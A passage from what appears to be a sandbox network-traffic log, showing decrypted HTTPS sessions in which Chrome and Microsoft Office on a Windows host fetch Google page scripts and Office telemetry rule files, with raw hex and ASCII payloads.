2024-11-12 07:30:18 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 3a 28 63 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2c 61 3f 61 5c 75 30 30 33 64 28 62 7c 7c 63 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 75 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 47 62 28 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 Data Ascii: 8000:(c\u003ddocument,a?a\u003d(b\|\|c).querySelector(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTagName(\"*\"))[0]\|\|null));return a\|\|null};\n_.ue\u003dfunction(a,b){_.Gb(b,function(c,d){d\u003d\u003d\"style\"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49711	142.250.185.100	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:18 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 07:30:18 UTC	957	IN	HTTP/1.1 200 OK Version: 693618659 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 12 Nov 2024 07:30:18 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-12 07:30:18 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-12 07:30:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.5	49718	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:21 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:22 UTC	492	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:22 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 11 Nov 2024 13:19:38 GMT ETag: "0x8DD02537E74B538" x-ms-request-id: 38692f1b-b01e-0002-0984-341b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073022Z-17df447cdb59mt7dhC1DFWqpg40000000bhg00000000fvu7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 07:30:22 UTC	15892	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-12 07:30:22 UTC	16384	IN	Data Raw: 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 Data Ascii: <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V
2024-11-12 07:30:22 UTC	16384	IN	Data Raw: 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 Data Ascii: 20v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="T
2024-11-12 07:30:22 UTC	16384	IN	Data Raw: 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d Data Ascii: T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F=
2024-11-12 07:30:22 UTC	16384	IN	Data Raw: 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a Data Ascii: alse"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C>
2024-11-12 07:30:22 UTC	16384	IN	Data Raw: 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 Data Ascii: I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="Cleanup
2024-11-12 07:30:22 UTC	16384	IN	Data Raw: 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 Data Ascii: </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R>
2024-11-12 07:30:22 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 Data Ascii: </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C>
2024-11-12 07:30:22 UTC	16384	IN	Data Raw: 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" />
2024-11-12 07:30:22 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 Data Ascii: <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49725	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:23 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-12 07:30:23 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=206078 Date: Tue, 12 Nov 2024 07:30:23 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.5	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:23 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:23 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:23 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 59c13bef-301e-0052-73a0-3465d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073023Z-15869dbbcc6sg5zbhC1DFWy5u8000000077000000000chh2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 07:30:23 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.5	49728	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:23 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:23 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: a31f2de1-f01e-0096-7209-2d10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073023Z-16547b76f7f7lhvnhC1DFWa2k00000000fag000000000h3p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:23 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.5	49727	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:23 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:23 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:23 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 053649b2-001e-00ad-26a0-34554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073023Z-17df447cdb5qkskwhC1DFWeeg40000000c20000000007dur x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 07:30:23 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	49730	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:23 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:23 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:23 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: dcc6854f-e01e-0051-7b03-2d84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073023Z-16547b76f7fkj7j4hC1DFW0a9g0000000fcg00000000186p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
